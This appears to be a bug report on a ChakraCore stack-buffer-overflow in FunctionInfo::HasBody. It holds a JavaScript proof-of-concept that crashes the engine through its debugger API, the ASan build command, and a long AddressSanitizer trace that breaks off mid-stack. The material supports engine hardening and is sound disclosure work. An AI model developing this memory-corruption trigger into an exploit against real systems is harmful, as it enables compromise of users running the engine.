stack-buffer-overflow /root/ChakraCore-2023-6/lib/Runtime/./Base/FunctionInfo.h:88:39 in Js::FunctionInfo::HasBody()

Branch: `master`
commit: `c3ead3f8a6e0bb8e32e043adc091c68cba5935e9`

Poc is:

```
function Run() {
function test1() {
var a = Date(); /**bp:locals();resume('step_over');locals();resume('step_over');locals()**/
WScript.Echo("Pass") + WScript.SetTimeout("1", 10);
}
test1();

Array.prototype.ucase = function () {
for(var i =0; i < WScript.Attach(Run).length;i++) {
this[i] = this[i].toUpperCase();
}
}
function test2() {
var arr = new Array("a","b"); /**bp:locals();resume('step_over');locals();resume('step_over');locals();resume('step_over');locals();resume('step_over');locals();resume('step_over');locals()**/
arr.push("c");
var str = arr.join();
arr.ucase();
var str1 = "All caps " + arr.join();
}
test2();
}
WScript.Attach(Run);
```

In release build `./build.sh --sanitize=address --static -j `
I get

```
==25576==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffef183a2c0 at pc 0x55fa270430bf bp 0x7ffef1833ff0 sp 0x7ffef1833fe8
READ of size 8 at 0x7ffef183a2c0 thread T0
#0 0x55fa270430be in Js::FunctionInfo::HasBody() const /root/ChakraCore-2023-6/lib/Runtime/./Base/FunctionInfo.h:88:39
#1 0x55fa270430be in Js::JavascriptFunction::IsScriptFunction() const /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:96
#2 0x55fa265fa4c4 in Js::VariableWalkerBase::GetReturnedValueResolvedObject(Js::ReturnedValue*, Js::DiagStackFrame*, Js::ResolvedObject*) /root/ChakraCore-2023-6/lib/Runtime/Debug/DiagObjectModel.cpp:224:46
#3 0x55fa25fbbfc3 in JsrtDebuggerStackFrame::GetLocalsObject(Js::ScriptContext*) /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebuggerObject.cpp:371:25
#4 0x55fa260acda1 in JsDiagGetStackProperties::$_14::operator()(Js::ScriptContext*) const /root/ChakraCore-2023-6/lib/Jsrt/JsrtDiag.cpp:679:63
#5 0x55fa260acda1 in _JsErrorCode ContextAPIWrapper_NoRecord(JsDiagGetStackProperties::$_14)::'lambda'(Js::ScriptContext*)::operator()(Js::ScriptContext*) const /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:252
#6 0x55fa260acda1 in _JsErrorCode ContextAPIWrapper_Core(JsDiagGetStackProperties::$_14)::'lambda'(Js::ScriptContext*)>(JsDiagGetStackProperties::$_14) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:192
#7 0x55fa260acda1 in _JsErrorCode ContextAPIWrapper_NoRecord(JsDiagGetStackProperties::$_14) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:250
#8 0x55fa260acda1 in JsDiagGetStackProperties /root/ChakraCore-2023-6/lib/Jsrt/JsrtDiag.cpp:658
#9 0x55fa25d9586c in ChakraRTInterface::JsDiagGetStackProperties(unsigned int, void**) /root/ChakraCore-2023-6/bin/ch/ChakraRtInterface.h:457:120
#10 0x55fa25d9586c in Debugger::GetStackProperties(void*, bool, void**, unsigned short, void*) /root/ChakraCore-2023-6/bin/ch/Debugger.cpp:134
#11 0x55fa2704074d in Js::JavascriptExternalFunction::StdCallExternalFunctionThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptExternalFunction.cpp:305:26
#12 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#13 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#14 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#15 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#16 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#17 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#18 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#19 0x55fa2705d4a0 in void* Js::JavascriptFunction::CalloutHelper(Js::RecyclableObject*, void*, void*, void*, Js::ScriptContext*) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:576:20
#20 0x55fa27047110 in Js::JavascriptFunction::EntryApply(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:462:20
#21 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#22 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#23 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#24 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#25 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#26 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#27 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#28 0x55fa26c3cf74 in void Js::InterpreterStackFrame::OP_CallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3988:54
#29 0x55fa26c3c5ec in void Js::InterpreterStackFrame::OP_ProfileCallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9
#30 0x55fa26963dcf in void Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex>>(Js::OpLayoutDynamicProfile>> const __unaligned*) /root/ChakraCore-2023-6/lib/Runtime/./Language/InterpreterStackFrame.h:520:115
#31 0x55fa26963dcf in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterHandler.inl:91
#32 0x55fa2688b2be in Js::InterpreterStackFrame::Process() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3472:20
#33 0x55fa26888263 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2153:40
#34 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#35 0x7f1ef66e1f41 ()
#36 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#37 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#38 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#39 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#40 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#41 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#42 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#43 0x55fa26c38a74 in void Js::InterpreterStackFrame::OP_CallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3988:54
#44 0x55fa26c380ec in void Js::InterpreterStackFrame::OP_ProfileCallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9
#45 0x55fa26964b32 in void Js::InterpreterStackFrame::OP_ProfiledCallI>>(Js::OpLayoutDynamicProfile>> const __unaligned*) /root/ChakraCore-2023-6/lib/Runtime/./Language/InterpreterStackFrame.h:515:104
#46 0x55fa26964b32 in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterHandler.inl:87
#47 0x55fa2688b2be in Js::InterpreterStackFrame::Process() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3472:20
#48 0x55fa26888263 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2153:40
#49 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#50 0x7f1ef66e1ec1 ()
#51 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#52 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#53 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#54 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#55 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#56 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#57 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#58 0x55fa2705d4a0 in void* Js::JavascriptFunction::CalloutHelper(Js::RecyclableObject*, void*, void*, void*, Js::ScriptContext*) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:576:20
#59 0x55fa27047110 in Js::JavascriptFunction::EntryApply(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:462:20
#60 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#61 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#62 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#63 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#64 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#65 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#66 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#67 0x55fa26c3cf74 in void Js::InterpreterStackFrame::OP_CallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3988:54
#68 0x55fa26c3c5ec in void Js::InterpreterStackFrame::OP_ProfileCallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9
#69 0x55fa26963dcf in void Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex>>(Js::OpLayoutDynamicProfile>> const __unaligned*) /root/ChakraCore-2023-6/lib/Runtime/./Language/InterpreterStackFrame.h:520:115
#70 0x55fa26963dcf in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterHandler.inl:91
#71 0x55fa2688b2be in Js::InterpreterStackFrame::Process() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3472:20
#72 0x55fa26888263 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2153:40
#73 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#74 0x7f1ef66e1ef1 ()
#75 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#76 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#77 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#78 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#79 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#80 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#81 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#82 0x55fa26c38cf2 in void Js::InterpreterStackFrame::OP_CallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3973:21
#83 0x55fa26c380ec in void Js::InterpreterStackFrame::OP_ProfileCallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9
#84 0x55fa26964b32 in void Js::InterpreterStackFrame::OP_ProfiledCallI>>(Js::OpLayoutDynamicProfile>> const __unaligned*) /root/ChakraCore-2023-6/lib/Runtime/./Language/InterpreterStackFrame.h:515:104
#85 0x55fa26964b32 in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterHandler.inl:87
#86 0x55fa2688b2be in Js::InterpreterStackFrame::Process() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3472:20
#87 0x55fa26888263 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2153:40
#88 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#89 0x7f1ef66e1f01 ()
#90 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#91 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#92 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#93 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#94 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#95 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#96 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#97 0x55fa2705d4a0 in void* Js::JavascriptFunction::CalloutHelper(Js::RecyclableObject*, void*, void*, void*, Js::ScriptContext*) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:576:20
#98 0x55fa27047110 in Js::JavascriptFunction::EntryApply(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:462:20
#99 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#100 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4698:32
#101 0x55fa2636f000 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda0'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#102 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4695
#103 0x55fa2636f000 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#104 0x55fa2636f000 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#105 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#106 0x55fa26c3cf74 in void Js::InterpreterStackFrame::OP_CallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3988:54
#107 0x55fa26c3c5ec in void Js::InterpreterStackFrame::OP_ProfileCallCommon>> __unaligned>(Js::OpLayoutDynamicProfile>> __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9
#108 0x55fa26963dcf in void Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex>>(Js::OpLayoutDynamicProfile>> const __unaligned*) /root/ChakraCore-2023-6/lib/Runtime/./Language/InterpreterStackFrame.h:520:115
#109 0x55fa26963dcf in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterHandler.inl:91
#110 0x55fa2688b2be in Js::InterpreterStackFrame::Process() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:3472:20
#111 0x55fa26888263 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2153:40
#112 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#113 0x7f1ef66e1f09 ()
#114 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#115 0x55fa263725b7 in Js::ScriptContext::ProfileModeThunk_DebugModeWrapper(Js::JavascriptFunction*, Js::ScriptContext*, void* (*)(Js::RecyclableObject*, Js::CallInfo, ...), Js::Arguments&)::$_11::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4754:24
#116 0x55fa263725b7 in void* Js::HelperOrLibraryMethodWrapper(Js::ScriptContext*, Js::ScriptContext::ProfileModeThunk_DebugModeWrapper(Js::JavascriptFunction*, Js::ScriptContext*, void* (*)(Js::RecyclableObject*, Js::CallInfo, ...), Js::Arguments&)::$_11) /root/ChakraCore-2023-6/lib/Runtime/./Debug/DiagHelperMethodWrapper.h:53
#117 0x55fa263725b7 in Js::ScriptContext::ProfileModeThunk_DebugModeWrapper(Js::JavascriptFunction*, Js::ScriptContext*, void* (*)(Js::RecyclableObject*, Js::CallInfo, ...), Js::Arguments&) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4751
#118 0x55fa2636ee79 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4660:27
#119 0x55fa2636ee79 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#120 0x55fa2636ee79 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#121 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#122 0x55fa27049096 in Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject*, Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:772:24
#123 0x55fa27048c7e in Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject*, Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:717:15
#124 0x55fa27048c7e in Js::JavascriptFunction::CallRootFunction(Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:832
#125 0x55fa25f379c0 in JsCallFunction::$_65::operator()(Js::ScriptContext*, TTD::TTDJsRTActionResultAutoRecorder&) const /root/ChakraCore-2023-6/lib/Jsrt/Jsrt.cpp:2842:41
#126 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper(JsCallFunction::$_65)::'lambda'(Js::ScriptContext*)::operator()(Js::ScriptContext*) const /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:237
#127 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper_Core(JsCallFunction::$_65)::'lambda'(Js::ScriptContext*)>(JsCallFunction::$_65) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:192
#128 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper(JsCallFunction::$_65) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:235
#129 0x55fa25f379c0 in JsCallFunction /root/ChakraCore-2023-6/lib/Jsrt/Jsrt.cpp:2804
#130 0x55fa25d99748 in ChakraRTInterface::JsCallFunction(void*, void**, unsigned short, void**) /root/ChakraCore-2023-6/bin/ch/ChakraRtInterface.h:416:149
#131 0x55fa25d99748 in Debugger::CallFunction(char const*, void**, void*, void*) /root/ChakraCore-2023-6/bin/ch/Debugger.cpp:386
#132 0x55fa25d93751 in Debugger::CallFunctionNoResult(char const*, void*, void*) /root/ChakraCore-2023-6/bin/ch/Debugger.cpp:394:18
#133 0x55fa25d93751 in Debugger::HandleDebugEvent(_JsDiagDebugEvent, void*) /root/ChakraCore-2023-6/bin/ch/Debugger.cpp:443
